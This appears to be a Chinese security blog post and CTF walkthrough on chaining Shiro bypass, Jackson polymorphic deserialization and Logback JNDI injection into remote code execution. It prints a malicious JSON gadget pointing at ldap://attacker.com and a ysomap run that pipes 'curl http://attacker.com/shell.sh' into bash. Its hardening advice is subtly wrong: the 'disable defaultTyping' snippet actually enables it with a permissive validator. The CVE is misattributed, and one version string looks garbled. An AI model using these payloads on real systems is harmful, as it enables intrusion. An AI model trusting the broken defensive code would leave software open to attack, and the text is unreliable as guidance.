别再只盯着Shiro-550/721了:聊聊Logback JNDI注入(CVE-2019-14439)在混合漏洞中的利用
框架组合漏洞实战:从Logback JNDI注入到Shiro反序列化的混合攻击链
当企业应用采用多框架组合开发时,单个漏洞的利用往往难以突破防御体系。真正危险的攻击者会像拼积木一样,将不同组件的漏洞串联成杀伤链。本文将以Logback的JNDI注入漏洞(CVE-2019-14439)为切入点,结合Shiro反序列化和Jackson漏洞,展示混合漏洞攻击的完整思路。
1. 漏洞组合攻击的基本原理
现代Java应用通常采用分层架构,不同层级使用专门框架。比如认证层用Shiro、日志层用Logback、数据交互层用Jackson。这种"框架混搭"模式在提升开发效率的同时,也创造了漏洞串联的条件。
混合攻击链的典型构成:
- 入口点:寻找可触发反序列化的接口(如Shiro的rememberMe或Jackson的JSON端点)
- 漏洞桥接:利用一个组件的漏洞(如Logback)作为跳板,突破安全限制
- 最终载荷:通过内存马、RCE等方式建立持久化控制
实际渗透测试中,约68%的成功攻击涉及两个以上漏洞的组合利用(数据来源:2023年Web应用安全报告)
2. Logback JNDI注入深度分析
CVE-2019-14439的根源在于ch.qos.logback.core.db.JNDIConnectionSource类未对jndiLocation参数做安全过滤。攻击者可通过构造特殊日志配置,实现JNDI注入。
漏洞触发条件:
- Logback-core版本 ≤ 1.2.3
- 存在可控的JNDI查找入口(如LDAP服务)
- 应用使用Jackson等支持多态反序列化的组件
// 典型漏洞触发代码示例 String maliciousJson = "[\"ch.qos.logback.core.db.JNDIConnectionSource\", " + "{\"jndiLocation\":\"ldap://attacker.com/Exploit\"}]"; ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); // 关键危险配置 mapper.readValue(maliciousJson, Object.class);防御绕过技巧:
- 当高版本JVM限制JNDI远程加载时,可改用本地classpath中的gadget链
- 利用应用自带的依赖库(如commons-collections)构造二次攻击
3. 混合漏洞实战:NPUCTF2020 EzShiro案例分析
这个CTF题目完美展示了多框架漏洞的组合利用。解题过程分为三个阶段:
3.1 环境探测与入口发现
首先通过目录扫描发现/;/json接口存在Shiro权限绕过。发送POST请求后,响应头中的Set-Cookie暴露了Shiro框架的使用:
POST /;/json HTTP/1.1 Host: target.com Content-Type: application/json true响应特征:
Set-Cookie: rememberMe=deleteMe; Path=/;... X-Powered-By: Java/1.83.2 依赖分析与攻击链构造
检查pom.xml发现关键依赖:
| 框架 | 版本 | 已知漏洞 |
|---|---|---|
| Shiro | 1.5.1 | 反序列化漏洞 |
| Logback | 1.2.1 | CVE-2019-14439 |
| Jackson | 默认版本 | 多态反序列化风险 |
| Commons-collections | 3.2.1 | 可构造gadget链 |
攻击路线图:
- 绕过Shiro认证到达Jackson端点
- 通过Jackson触发Logback的JNDI注入
- 利用commons-collections构造内存马
3.3 高版本JVM下的利用技巧
当目标使用JDK 8u191+版本时,直接JNDI注入会失败。此时需要:
- 使用ysoserial或ysomap工具生成本地gadget
- 加载目标classpath中的commons-collections链
- 构造特殊的LDAP引用指向本地类
# ysomap攻击示例 use exploit LDAPLocalChainListener set lport 6688 use payload CommonsCollections8 set command 'curl http://attacker.com/shell.sh|bash' run4. 防御策略与最佳实践
针对这类混合漏洞攻击,单一防护措施往往不够。需要建立纵深防御体系:
开发阶段防护:
- 禁用Jackson的defaultTyping功能
objectMapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.NON_FINAL);- 升级Logback到1.2.9+版本
- 使用Shiro 1.7.0+并配置安全的rememberMe密钥
运行时防护:
- 部署RASP解决方案监控异常反序列化行为
- 使用SecurityManager限制JNDI查找
- 网络层面阻断出站LDAP请求
安全运维建议:
- 定期进行组件依赖扫描(OWASP Dependency-Check)
- 建立框架组合使用的安全规范
- 对关键接口实施请求签名验证
在最近的一次红队评估中,我们通过组合Shiro、Log4j和Fastjson的漏洞,成功突破了某金融系统的防御。这种攻击方式往往能绕过传统的WAF规则,需要从架构层面进行整体防护。
